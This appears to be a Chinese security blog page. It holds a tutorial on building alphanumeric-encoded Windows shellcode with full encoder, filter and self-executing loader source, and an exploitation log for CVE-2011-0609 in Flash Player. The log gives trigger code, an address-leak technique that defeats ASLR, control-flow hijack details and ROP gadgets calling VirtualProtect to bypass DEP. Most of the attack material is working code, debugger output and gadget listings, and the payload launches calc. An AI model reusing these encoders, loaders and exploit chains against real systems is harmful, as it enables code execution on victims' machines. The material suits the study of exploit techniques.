运行结果可以很清楚的看到,未经过纯字母数字编码的shellcode,经过两次转换后已经变形,如下图所示:

我只标注了第一行变形的代码,这样转换过的deshellcode(已经和原来的shellcode不同了)肯定是不能够执行的。

构造纯字母数字shellcode

1.先将我们的shellcode进行纯字母数字编码,源码如下:

#include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
{
    0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B,
    0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2,
    0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA,
    0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE,
    0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9,
    0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66,
    0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24,
    0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08,
    0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19,
    0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00,
    0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04,
    0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B,
    0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF,
    0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00  
};
int main()
{
    //unsigned char ptr[0x1000] = {0};  
    int nLen, i;
    int A, B;
    unsigned int t1, t2;
    // nLen = strlen((char *)shellcode);
    nLen = sizeof (shellcode);
    i = 0;
    while(true) 
    {
    encode:
        if(i >= nLen)
        {
            break;
        }
        for(A = 0x30; A < 0X7B; A++) //0开始到z
        {
            if( (A > 0x39 && A < 0x41) || (A > 0x5A && A < 0x61) )  //非字母数字部分
            {
                continue;
            }            
            for(B = 0x30; B < 0x7B; B++)
            {
                if( (B > 0x39 && B < 0x41) || (B > 0x5A && B < 0x61) )  
                {
                    continue;
                }
                t1 = A * 0x58; //0x58:X
                t1 = t1 << 24;
                t1 = t1 >> 24;
                t2 = shellcode[i] ^ B; //异或
                t2 = t2 << 24;
                t2 = t2 >> 24;
                if( t1 == t2 )
                {
                    printf("%c%c", A, B);
                    i++;
                    goto encode;
                }           
            }
        }
    }   
    //printf("%s\n", ptr);
    return 0;
}
/*编码后的shellcode:
"0i1N2020202f8q0I2T1S2A8p1S2F541S2FAD1S2v281S2NAx1S8v2V8y5w8X2E0r2n0C2P1S5T8d8d1S"
"2uAd1S2d252H210j1S2z8X1S2jAx210k0c8w2y1S8t1S210n8q3w8q3H3t1t4d3H2D520A0O55210G0i"
"0q3w3w3wAc2L8d8h2E3V1S2j8d210k2V1S545s1S2jAD210k1S241S210h1Q2t8dAD2Q0C1u5h2b0h4G"
"3w3w3w1Q271Y0D282020201Y0G242020208y0N2E0f0C0h8Y2020204x3v1R562N0X0b2C1Y0l282020"
"201Q0e0h2m3w3w3w1Q0B0k0b2n1U2M241Q0q1Y0A282020200h063w3w3w0k562k8q3H5h2c3w2e248q"
"3H5h3w2e280h0m3w3w3w2S2Q5T2S8n2U2H2U20"
*/

2.然后将编码后的shellcode进行过滤,目的是为了解码时候当作解码结束的识别符号,源码如下:

#include "windows.h"
#include "stdio.h"
#include "string.h"
//结尾字符过滤,由于选择特殊字符
unsigned char alphasc[] = "0i1N2020202f8q0I2T1S2A8p1S2F541S2FAD1S2v281S2NAx1S8v2V8y5w8X2E0r2n0C2P1S5T8d8d1S"
    "2uAd1S2d252H210j1S2z8X1S2jAx210k0c8w2y1S8t1S210n8q3w8q3H3t1t4d3H2D520A0O55210G0i"
    "0q3w3w3wAc2L8d8h2E3V1S2j8d210k2V1S545s1S2jAD210k1S241S210h1Q2t8dAD2Q0C1u5h2b0h4G"
    "3w3w3w1Q271Y0D282020201Y0G242020208y0N2E0f0C0h8Y2020204x3v1R562N0X0b2C1Y0l282020"
    "201Q0e0h2m3w3w3w1Q0B0k0b2n1U2M241Q0q1Y0A282020200h063w3w3w0k562k8q3H5h2c3w2e"
    "248q3H5h3w2e280h0m3w3w3w2S2Q5T2S8n2U2H2U20";
int main()
{
    int i, j;
    BOOL bOK;
    for(i = 0x30; i < 0x7b; i++) //0x30 0  0x7a z
    {
        bOK = TRUE;
        if((i > 0x39 && i < 0x41) || (i > 0x5A && i < 0x61))  // 39-41 5a-61之间是非数字字母部分
        {
            continue;
        }
        for(j = 0; j < strlen((const char *)alphasc); j++)
        {
            if(alphasc[j] == i)
            {
                bOK = FALSE;
                break;
            }
        }
        if(bOK == TRUE)
        {
            printf("%c ", i); //打印出数组中没有的字母和数字 
        }
    }
    return 0;
}
// 9 J K W Z a g o  过滤出来的字符,可选择任意一个当作判断解码结束的字符。
  1. 解码shellcode源码如下:
#include <stdio.h>
#include <string.h>
#include <windows.h>
unsigned static char  sc[] = 
    "PZhguaiX5guaiH4C0B6RYkA7XA3A7A2B70B7BhTWUQX5TWUQ4a8A7ub"//倒数第六个字母为filter过滤的字母
    /*
        00421A30 50                   push        eax //实际应用中,一般都会有积存器指向sc,如esp,eax,ebx等
        00421A31 5A                   pop         edx
        00421A32 68 67 75 61 69       push        69617567h
        00421A37 58                   pop         eax
        00421A38 35 67 75 61 69       xor         eax,69617567h
        00421A3D 48                   dec         eax
        00421A3E 34 43                xor         al,43h
        00421A40 30 42 36             xor         byte ptr [edx+36h],al //[edx+36h]存放着编码过的shellcode
        00421A43 52                   push        edx
        00421A44 59                   pop         ecx
        00421A45 6B 41 37 58          imul        eax,dword ptr [ecx+37h],58h
        00421A49 41                   inc         ecx
        00421A4A 33 41 37             xor         eax,dword ptr [ecx+37h]
        00421A4D 41                   inc         ecx
        00421A4E 32 42 37             xor         al,byte ptr [edx+37h]
        00421A51 30 42 37             xor         byte ptr [edx+37h],al
        00421A54 42                   inc         edx
        00421A55 68 54 57 55 51       push        51555754h
        00421A5A 58                   pop         eax
        00421A5B 35 54 57 55 51       xor         eax,51555754h
        00421A60 34 63                xor         al,79h //79可根据实际情况替换,解码结束判断符。
        00421A62 38 41 37             cmp         byte ptr [ecx+37h],al
        00421A65 75 62                jne         sc+99h (00421ac9) //
        上面这部分是解码部分,解码结尾标记,如本例子中的aa(61h),需要使用filter进行过滤分析之后得到的
    */
    //下面是编码后的shellcode,编码方式为base16,算法为sc[i] ^ B == A * 0x58
    "0i1N2020202f8q0I2T1S2A8p1S2F541S2FAD1S2v281S2NAx1S8v2V8y5w8X2E0r2n0C2P1S5T8d8d1S"
    "2uAd1S2d252H210j1S2z8X1S2jAx210k0c8w2y1S8t1S210n8q3w8q3H3t1t4d3H2D520A0O55210G0i"
    "0q3w3w3wAc2L8d8h2E3V1S2j8d210k2V1S545s1S2jAD210k1S241S210h1Q2t8dAD2Q0C1u5h2b0h4G"
    "3w3w3w1Q271Y0D282020201Y0G242020208y0N2E0f0C0h8Y2020204x3v1R562N0X0b2C1Y0l282020"
    "201Q0e0h2m3w3w3w1Q0B0k0b2n1U2M241Q0q1Y0A282020200h063w3w3w0k562k8q3H5h2c3"
    "w2e248q3H5h3w2e280h0m3w3w3w2S2Q5T2S8n2U2H2U20aa";//aa为结束标识符
int main()
{
    int size = sizeof(sc);
    DWORD dwOldProtect;
    bool p = VirtualProtect(sc,size,0x40,&dwOldProtect);
    if (p==NULL)
        printf("fault!\n");
    __asm
    {
        push ebp
        mov ebp,esp
        
        xor ecx, ecx
        lea eax, sc
        call eax
        
        mov esp,ebp
        pop ebp
    }
    //((void (*)(void))&sc)();
    /* 
    for(int i=0;i<161;i++)
        printf("%x ",sc[i+55]); //37h
        printf("\n");
    */
    //  return 0;
}

我们整个构造的纯字母数字shellcode即为:

"PZhguaiX5guaiH4C0B6RYkA7XA3A7A2B70B7BhTWUQX5TWUQ4a8A7ub" //倒数第六个为过滤出来的字符a
"0i1N2020202f8q0I2T1S2A8p1S2F541S2FAD1S2v281S2NAx1S8v2V8y5w8X2E0r2n0C2P1S5T8d8d1S"
"2uAd1S2d252H210j1S2z8X1S2jAx210k0c8w2y1S8t1S210n8q3w8q3H3t1t4d3H2D520A0O55210G0i"
"0q3w3w3wAc2L8d8h2E3V1S2j8d210k2V1S545s1S2jAD210k1S241S210h1Q2t8dAD2Q0C1u5h2b0h4G"
"3w3w3w1Q271Y0D282020201Y0G242020208y0N2E0f0C0h8Y2020204x3v1R562N0X0b2C1Y0l282020"
"201Q0e0h2m3w3w3w1Q0B0k0b2n1U2M241Q0q1Y0A282020200h063w3w3w0k562k8q3H5h2c3w2e248q"
"3H5h3w2e280h0m3w3w3w2S2Q5T2S8n2U2H2U20aa";//aa作为判断解码结束的中止符

4.同理,然后我们进行两次宽窄字节转换并执行,结果如下所示:

由图中可以看出经过两次变换后shellcode并没有发生变化,最后能够正确执行。

总结

1.这个是9月份分析的一个hwp文档漏洞,里边的shellcode用的是一种纯字母数字编码技术,当时研究了一周想把整个编码过程模拟出来,当时知识实在是欠缺,自己编写并提取一个弹出计算机的shellcode都花了两天时间,而且shellcode也不是通用的shellcode,是先通过一段程序将本机的kernel32和Loadlibrary函数地址找到,然后在会变里边直接调用,在后期编写代码的时候中间遇到了几个问题导致程序执行不下去。后来有安排有事,就把这个事情放着了一直没做,这几天闲下时候重新整理了出来,整个过程其实很简单,但是中间也学到了不少东西,也发现真的需要加强一下编程能力了!

2.给我印象最深刻的就是,在测试代码时候有一段代码我调试了很久才找到原因

Push ebp 
mov ebp,esp
lea eax,sc   //sc为存放shellcode的数组
call eax

在执行过第二行mov ebp,esp后,sc的地址就飞了,我当时想的是,汇编代码已经是最底层的代码了,两句汇编代码之间出问题,而且至始至终都没有用sc,这样错误该怎么找?最后调试很多次,是在vs里边查看汇编代码才发现,在一大堆c语言源码嵌入汇编代码,数组sc的指针是存放在[ebp+xx]处,所以在mov ebp,esp后自然sc的地址就飞了。

2012-11-20

CVE-2011-0609

CVE-2011-0609漏洞利用记录,WIN7过DEP+ASLR

 简介

JIT代码在解析三元运算过程中由于逻辑缺陷造成了对象混淆,具体地说,它可以用同一个属性或者方法生成一个有效字节代码并可以访问两个不同的对象。

 调试环境和工具

Windows732CN, 
flashplayer103r18114winaxdebug (调试),
Adobe® Flash® Player Installer/Uninstaller 10.1 r82(触发),
Windbg,FlashDevelop,FlashBuilder,Flash解压缩工具,Yogda,010Editor

 漏洞触发

漏洞触发代码如下

package
{
    import flash.external.ExternalInterface;
    import flash.utils.*;
    public class SearchJIT
    {
       
        public  function nice():ByteArray
        {
            return new ByteArray();
           
        }
        public  function SearchJIT()
        {
            var tttt:ByteArray = (1 == 0) ?nice() : (1 == 0) ? nice() : nice();
            Var tttl:String=new String("AAAAAAAAAAAAAAA......")
            tttl.length;
        }
    }
}

先用FlashDevelop编译然后导出realease版,名为1109.swf的swf格式文件,用flash解压缩工具将1109.swf文件解压为1109_1.swf,然后用Yogda打开,算出构造混淆所要跳过的字节数,经计算,需要将10 06 00 00改成10 11 00 00 如下图所示:

然后用010Editor打开修改10 06为10 11 修改过后如下图所示

这样一个数据混淆的swf文件就生成了,可以看出,获取length属性的代码已经单独成为一个模块了,在获取Sring 的length属性时候,验证机制没有进行严格检测将length属性强制转换成String,从而调用了ByteArray的length属性方法,导致读取数据出错。

用windbg加载出错代码为:

0688afb8 8b4808          mov     ecx,dword ptr [eax+8]
0688afbb 8b89a0000000    mov     ecx,dword ptr [ecx+0A0h]
0688afc1 8d55b8          lea     edx,[ebp-48h]
0688afc4 8945b8          mov     dword ptr [ebp-48h],eax
0688afc7 8b01            mov eax,dword ptr [ecx]  ds:0023:41414141=????????
0688afc9 52              push    edx
0688afca 6a00            push    0
0688afcc 51              push    ecx
0688afcd ffd0            call    eax

dd eax 可以看到String在内存中的数据结构

0:005> dd eax
05f02718  05caa618 40000002 05d84d20 00000000
05f02728  00000162 0000001a 05caa618 00000002
05f02738  05bfc230 00000000 00000004 00000002
05f02748  05caab68 00000002 05eeb080 05dd1ee0
05f02758  05ef6cd1 18000001 05caad58 00000002
05f02768  05efd040 05ef2e38 05f1a220 05e0ff58
05f02778  05caa618 00000003 05be6fd9 00000000
05f02788  00000003 00000012 05caa618 00000003

其中,[eax+8]存放着String字符串的指针,指向字符串存储的内容,[eax+10h]存放着字符串的长度,也就是length属性。

同样的道理,重新构造一个1109_2.swf文件,可以用String的方法来读ByteArray的length属性。代码如下:

package
{
    import flash.display.Sprite;
    import flash.utils.ByteArray;
    import flash.external.ExternalInterface;
   
    public class Main extends Sprite
    {
       public function bla():ByteArray
       {
           return new ByteArray();
       }
       public function Main()
       {
           var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
           var t:String = new String("AAAAAAAAAAAAAAA......");
           var zz:uint= t.length;
           ExternalInterface.call('alert',zz.toString(16));
       }
      
    }
}

用ie加载1109_2.swf文件,这次没有报错,而是读出来了一个地址

用Windbg加载,然后 u 5d9dd78

0:007> u 5d9dd78
05d9dd78 f8              clc
05d9dd79 91              xchg    eax,ecx
05d9dd7a b005            mov     al,5
05d9dd7c 0000            add     byte ptr [eax],al

很显然不是我们想要找的flash模块地址。

进行到这一步,再往下边分析,要成功混淆出来一个flash模块地址,首先要清楚ByteArray在内存中存放的数据结构了。

 混淆利用分析

装上调试版本的flash:flashplayer103r18114winaxdebug (调试版),然后用FlashBuilder4.0新建AS3项目,代码如下:

然后进行调试,运行到第12行代码以后,看变量窗口

记录ByteArray地址为04be0f41 (flash模块中实际地址为04be0f40),用Windbg加载 dd 04be0f40

0:027> dd 4be0f40
04be0f40  048a40c8 00000003 059ba600 059bf6e8
04be0f50  04be0f58 00000044 048a4008 048a4000
04be0f60  048a4018 048a3ffc 047a9598 05993030
04be0f70  04b75810 05a12fe8 00000000 059c0000
04be0f80  00001000 00000004 00000029 00000000
04be0f90  048a3ff4 00000003 00000000 00000000
04be0fa0  0478d508 00000003 00000002 04be8450
04be0fb0  04c69f94 05a120a0 04c69f40 0000000e

如上图可以看到ByteArray在内存中的数据结构,+0X3C处059c0000为ByteArray数据存放地址指针,指向其存放的内容。00004为length属性,后边00000029(十进制为41)为position属性。

dd 059c0000 可以看到写入的0x41414141

0:027> dd 059c0000
059c0000  41414141 00000000 00000000 00000000
059c0010  00000000 00000000 00000000 00000000

 尝试

既然ByteArray在内存中存放的数据结构不变,用String的length方法读不出来flash模块地址,那么是否可以自己构造一个函数,然后与ByteArray混淆呢?
ByteArray在内存中的结构

00000000:  048a40c8 00000003 059ba600 059bf6e8
00000010:  04be0f58 00000044 048a4008 048a4000

由上边可以看出,要获得048a4008(flash模块)这个地址,只需要我们构造一个函数,在相同的位置有一个length属性,然后用构造函数的方法来读取ByteArray的length,就能将想要的地址给读出来,构造函数形式如下

00000000:  ???????? ???????? ???????? ????????
00000010:  ???????? ???????? xxxxxxxx ????????

其中将xxxxxxxx这个地方设置一个length属性即可。
在FlashBuilder新建项目test,在项目中添加一个新的AS类,代码如下:

package Poc
{
    public class People
    {
      
       public var a :uint = 0x41414141;
       public var b :uint = 0x41414142
       // public  var length :uint = 0x41414143;
       public var c :uint = 0x41414144
       public var d :uint = 0x41414145;
       public var e :uint = 0x41414146;
       public var f :uint = 0x41414147;
       public var g :uint = 0x41414148;
       public var h :uint = 0x41414149;
       public var i :uint = 0x4141414a;
       public var j :uint = 0x4141414b;
       public var k :uint = 0x4141414c;
       public var l :uint = 0x4141414d;
       public var m :uint = 0x4141414e;
       public var n :uint = 0x4141414f;
      
       public function People()
       {
           //
       }
    }
}

然后在主程序中调用这个类,代码如下:

进入调试模式,运行到第19行代码时,数据窗口显示出新定义的People地址

然后用windbg加载IE,dd 59ad040 查看自定义类在内存中的数据结构

0:023> dd 59ad040
059ad040  04a05050 00000003 05957fb8 059ab1f0
059ad050  41414141 41414142 41414143 41414144
059ad060  41414145 41414147 41414148 41414149
059ad070  4141414a 4141414b 4141414c 4141414d
059ad080  4141414e 4141414f 059ad0d0 00000000
059ad090  00000000 00000000 00000000 00000000
059ad0a0  00000000 00000000 00000000 00000000
059ad0b0  00000000 00000000 00000000 00000000

由上图可以看出,我们只需要将41414143的变量名c改为length,然后我们用我们构造的函数读取length的方法去读ByteArray的length,就可以读出来flash模块地址了。

将People类中注释去掉即可,然后到导出发行版本,用和前边同样的方法构造混淆的swf文件,将flash版本换成Adobe® Flash® Player Installer/Uninstaller 10.1 r82,载于ie中运行,读出地址

用windbg加载IE,然后u 5b091f8

0:029> u 5b091f8
Flash10i!DllUnregisterServer+0x329825:
05b091f8 868e82050d81    xchg    cl,byte ptr [esi-7EF2FA7Eh]
05b091fe 8205ca7c8205fc add byte ptr [Flash10i!DllUnregisterServer+0x482f7 (05827cca)],0FCh

成功读出了flash模块地址。

 任意读地址

通过这种方法,基本可以实现读ByteArray中任意地址了,将上边的People类改成如下代码:

package Poc
{
    public class People
    {     
       public var a :uint = 0x41414141;
       public var b :uint = 0x41414142;
       public var c :uint = 0x41414143; //
       public var d :uint = 0x41414144;
       public var e :uint = 0x41414145;
       public var f :uint = 0x41414146;
       public var g :uint = 0x41414147; //
       public var h :uint = 0x41414148;
       public var i :uint = 0x41414149;
       public var j :uint = 0x4141414a;
       public var k :uint = 0x4141414b;
       public var l :uint = 0x4141414c;
       public var m :uint = 0x4141414d;
       public var n :uint = 0x4141414e;
       public var ...
       public var ...
                    
       public function People()
       {
          
       }
    }
}

编译进入调试模式,然后windbg加载Ie查看People类在内存中的数据结构,如下所示

0:021> dd 45d3080
045d3080  687d5050 00000003 0460a868 045f0550
045d3090  41414141 41414142 41414143 41414144
045d30a0  41414145 41414147 41414148 41414149
045d30b0  4141414a 4141414b 4141414c 4141414d
045d30c0  4141414e 4141414f 41414141 41414142
045d30d0  41414143 41414144 41414145 41414147
045d30e0  41414148 41414149 4141414a 4141414b
045d30f0  4141414c 4141414d 4141414e 4141414f

从偏移10h处开始,填充着我们构造的参数,只要我们在ByteArray偏移10h以后能找到任意一个flash模块地址,都可以通过构造函数混淆出来。
同理,在String结构中也存在很多的Flash模块地址,也可以用同样的方法去读String中的flash模块地址,用同样的方法都能够读出来,已测试成功。

 Realease & Debug

实际应用中,自己构造的函数数据结构在realease版本和debug版本中略有差别

 任意读地址的坑

通过上边的分析,我们构造一个People类,下边为利用测试代码

package
{
    import Poc.*;
   
    import flash.display.Sprite;
    import flash.external.ExternalInterface;
    import flash.utils.ByteArray;
   
    public class test extends Sprite
    {
       public function people():People
       {
           return new People;
       }
       public function b():ByteArray
       {
           var ba:ByteArray = new ByteArray;
           ba.writeUnsignedInt(0x41424344);
           ba.writeUnsignedInt(0x45464748);
           return ba;
           //ExternalInterface.call('alert',0x41414141.toString(16));
       }
      
       public function test()
       {
           var a:People = (1 == 0) ? people() : (1 == 0) ? people() : people();
           //var al:uint = a.length;
           var t:ByteArray = b();
           var zz:uint= t.length;
           ExternalInterface.call('alert',zz.toString(16));
          
       }
    }
}
````


调试版本中,windbg看People在内存中数据结构如下:

0:023> dd 58c1060
058c1060  04665050 00000003 058f8868 058c0b98
058c1070  41414141 41414142 41414143 41414144
058c1080  41414145 41414146 41414147 41414148
058c1090  41414149 4141414a 4141414b 4141414c
058c10a0  4141414d 4141414e 4141414f 00000000
058c10b0  058c1100 00000000 00000000 00000000
058c10c0  00000000 00000000 00000000 00000000
058c10d0  00000000 00000000 00000000 00000000
“`

也就是说我们在数值为4141414c处的参数设置为length即可通过混淆或得ByteArray地址。
然后我们导出release版的swf文件,修改,载入ie,弹出的地址为:

Windbg加载,dd 5d091ec

0:033> dd 5d091ec
05d091ec  05a28590 05a27cfd 05a27edd 05a28e86
05d091fc  05a2810d 05a27cca fffffffc 0000000c
05d0920c  fffffffc 00000014 00000000 05a28ea2
05d0921c  05a251f3 05c20770 05c20e50 05c20ee0
05d0922c  05a27f3b 05c20140 05a288ec 05c1ff80
05d0923c  05a27d30 05c1ff40 05c203e0 05a27fa8
05d0924c  05a2894d 05c20470 05a27ff2 05a27d0d
05d0925c  05a288cd 05c1ffc0 05c20650 05c207a0

很明显,并不是我们写进去的0x41424344,0x45464748.也就是说,我们读出来的并不是想得到的ByteArray地址!

 填坑-任意读地址

我们构造的类在内存中数据结构是什么样子呢,我们在windbg搜一下我们构造函数的数据

s 0 l?7fffffff 41 41 41 46 41 41 41 47
061b2425  41 41 41 46 41 41 41 47-41 41 41 48 41 41 41 49  AAAFAAAGAAAHAAAI

我们看下内存061b2425附近的数据

如上图所示,构造函数的数据存放在061b2415-061b2451并不是按照顺序存放的。
我们读出来的地址是什么?

s 0 l?7fffffff ec 91 d0 05
020bc908  ec 91 d0 05 80 c9 0b 02-68 18 33 06 00 80 24 06  ........h.3...$.
05a28843  ec 91 d0 05 8b 40 04 c7-44 30 20 e4 91 d0 05 8b  .....@..D0 .....
0623dd9c  ec 91 d0 05 04 92 d0 05-08 00 00 00 00 00 00 00  ................

查看0623dd9c附近的数据

在05d091ec附近找到了06bbd000地址,形似ByteArray地址

上图表示,正是我们在ByteArray写入的数据,即06bbd000为ByteArray地址。

所以,我们看我们所读的地址-14h处即为ByteArray地址,对照着我们构造函数的数据,4141414c处所在的地址-14h处对应的数据为41414147,因此,将我们构造函数数据为41414147赋设为length即可。

将构造函数代码改为如下:

通过修改,成功混淆出ByteArray地址。

按照偏移得出自定义函数在release版本中数据结构。

06de6ffd b006def0 d006de70 0006de71 00000000
06de700d 02000000 00009000 00000000 30000000
06de701d 4606abdb 41004f00 42414141 43414141
06de702d 44414141 45414141 46414141 47414141
06de703d 48414141 49414141 4a414141 4b414141
06de704d 4c414141 4d414141 4e414141 4f414141
06de705d 41414141 42414142 43414142 44414142
06de706d 45414142 46414142 47414142 48414142
06de707d 49414142 4a414142 4b414142 4c414142
06de708d 4d414142 4e414142 4f414142 44414142
06de709d 48414243 70454647 6e006100 4e007900
06de70ad 00006100 73000000 2f737265 4c4c4544

在release版本中,如上图我们可控制的数据,我们能够读取的地址只能是从偏移28h处开始。

对照ByteArray结构

同时也证实了前边我们读取的41414143位置也并不是ByteArray数据结构中偏移18h处的地址,而是偏移2ch处的地址,而这个偏移处也刚好是一个flash模块地址!

 总结

需要注意的是,在构造函数中定义的参数值一定不能重复,不然release版本会进行优化,数据个数会减少。

经过多次尝试,在realease版本中我们构造的函数数据在内存中存放的地址是连续的,但是数据存放顺序会被打乱,ByteArray在realease版本中数据结构并没有改变,因此,我们依然可以用这种方法读取任意想得到的地址。

 完整的漏洞利用

要成功利用这个漏洞,要清楚以下三个问题

  1. 如何控制程序流程
  2. 如何过ASRL和DEP
  3. 如何执行shellcode

 控制流程

控制程序流程比较容易想到,通过出发漏洞的源码和异常出错的汇编代码,可以看出,只要在String适当的偏移处将AAAA改为我们想控制的地址,就可以控制程序的流程了。

触发漏洞代码

异常汇编代码

如上图所示,[eax+8]存放着String字符串的内容地址,即[ecx+0A0h]=String[0A0h](写法仅方便阅读),也就是说我们在String[0A0h]处存放着我们想要控制的地址指针,然后在下边的call eax之后就进入我们的控制之中了。

 突破DEP+ASLR

通过上次混淆出来的flash模块地址,可以轻松绕过ASRL;
突破DEP的法是通过构造一个ROP链来实现,这个也是该漏洞利用的一个难点,代码的编写花费的时间最多,需要一些技巧和运气。

 执行shellcode

如何执行shellcode,首先我们将shellcode写入内存是不可执行的,因此我们要调用virtualprotect函数将地址改为可执行属性,virtualprotect函数可以通过flash模块地址和偏移地址定位。

 完整的利用过程

  1. 首先我们先定义一个ByteArray,然后将shellcode写进去,然后通过混淆得到ByteArray的地址,也就是shellcode的地址ScAddr。

  2. 然后我们构造Rop链,Rop链需要完成的功能有三个,先是控制esp,然后是通过调用virtualprotect函数将shellcode代码段内存改为可执行属性,最后要实现的功能是跳入shellcode。通过混淆得到Rop链地址RopAddr。

  3. 最后,我们将Rop链的地址ScAddr写在String[0A0h]处,通过混淆出发漏洞,然后得到控制权,去实现Rop链中的功能,最后成功执行shellcode。

  4. 在整个过程中,在往ByteArray中写数据时候要注意大小字节序,Flash默认是大字节序列。

 控制esp

在Rop链的一开始,肯定是要先得到esp的控制权,需要我们在flash模块里边找到一条xchg eax,esp;ret代码。代码很容易找到,但是发现即使执行了依然控制不了esp,原因是我们在控制流程的语句call eax时候,eax的值已经不是Rop链的地址了,而是Rop链中我们得到esp控制权的代码的地址,形似[RopAddr],也就是说,我们执行完xchg eax,esp;ret代码之后,就失去了程序的控制权,这个问题也困扰了好久。

我们再回过头来看控制代码

0688afb8 8b4808          mov     ecx,dword ptr [eax+8]
0688afbb 8b89a0000000    mov     ecx,dword ptr [ecx+0A0h]
0688afc1 8d55b8          lea     edx,[ebp-48h]
0688afc4 8945b8          mov     dword ptr [ebp-48h],eax
0688afc7 8b01            mov     eax,dword ptr [ecx]  ds:0023:41414141=????????
0688afc9 52              push    edx
0688afca 6a00            push    0
0688afcc 51              push    ecx
0688afcd ffd0            call    eax  //获得控制权

我们发现,程序获得控制权是先将RopAddr的传送给ecx,然后将[ecx]赋值给eax,然后才是我们控制esp的代码call eax,
因此,ecx始终等于RopAddr,既然eax不能用,完全可以用xchg ecx,esp;ret

接着分析,只执行xchg ecx,esp;ret还是不够的,我们要执行下一条代码,需要在xchg ecx,esp之后将esp+4,然后是ret才能成功跳进吓一跳代码中。在flash模块中并没有找到理想的代码形如

xchg ecx,esp
add esp,xx
ret

既然xchg指令不能用,换个方式,形如

mov esp,ecx
add esp,xx
ret

或者

push ecx
pop esp
add esp,xx
ret

最后,在flash模块中找到如下可用代码:

057d5fe1 51              push    ecx
057d5fe2 5c              pop     esp
057d5fe3 8b889c000000    mov     ecx,dword ptr [eax+9Ch]
057d5fe9 52              push    edx
057d5fea 51              push    ecx
057d5feb e860c2fcff      call    Flash10i+0xb2250 (057a2250) //不影响esp
057d5ff0 83c410          add     esp,10h
057d5ff3 c3              ret

通过flash模块地址和偏移,算得代码地址,记作 addxchgecx_esp

 修改内存属性

在控制esp之后,就开始实现virtualprotect函数的功能,将我们的shellcode所在的内存属性变为可执行。通过ida加载flash10i.oxc得到virtualprotect函数偏移,再根据flash模块地址算出virtualprotect函数地址Add_virtualprotect。Vritualprotect函数代码如下:

683ecee2 51              push    ecx
683ecee3 55              push    ebp
683ecee4 56              push    esi
683ecee5 57              push    edi
683ecee6 ff157c534b68    call    dword ptr [Flash10i!DllUnregisterServer+0x3059a9 (684b537c)] //call virtualprotect
683eceec 03fe            add     edi,esi
683eceee 2bde            sub     ebx,esi
683ecef0 7404            je      Flash10i!DllUnregisterServer+0x23d523 (683ecef6)
683ecef2 85c0            test    eax,eax
683ecef4 75d0            jne     Flash10i!DllUnregisterServer+0x23d4f3 (683ecec6)
683ecef6 5f              pop     edi
683ecef7 5e              pop     esi
683ecef8 5d              pop     ebp
683ecef9 5b              pop     ebx
683ecefa 83c420          add     esp,20h
683ecefd c3              ret

通过代码可以看出,在调用函数成功后,eax肯定为非0,那么程序在执行test eax,eax之后肯定就跳走失去了控制权。

解决方法:我们直接跳入virtualprotect函数去实现我们的功能,然后构造我们的返回地址和参数,而不是通过call来调用,因此,我们在这一步先将virtualprotect函数地址放入[esp+4],在esp处我们存放形如下代码的地址,

    mov eax,[esp+4]
    add esp,xx   //跳过virtualprotect函数地址
    ret

然后ret之后esp存放着jmp [eax] 地址([eax]形似[684b537c],684b537c为上边Vritualprotect函数代码部分),然后就可以顺利的执行了,最后分别在flash模块中找到可用代码。

地址Addmoveax_esp

05771008 8b0424          mov     eax,dword ptr [esp]
0577100b 59              pop     ecx
0577100c c3              ret

地址Addjmpeax

    56f768f ff20            jmp     dword ptr [eax]

当然,解决这个问题方法不止一种,可以在这之前重新设置标志位,这样test eax,eax之前让它跳走就可以了。

综上,构造的Rop链结构如下所示:

执行shellcode

通过上边的分析,利用构造的Rop链就可以顺利执行shellcode了,如弹出计算器。

Android Root Zap Framework

‎ 1. Warning 请遵守GPL开源协议, 请遵守法律法规, 本项目仅供学习和交流, 请勿用于非法用途! 道路千万条, 安全第一条, 行车不规范, 亲人两行泪. 2. Android Root Zap Frame...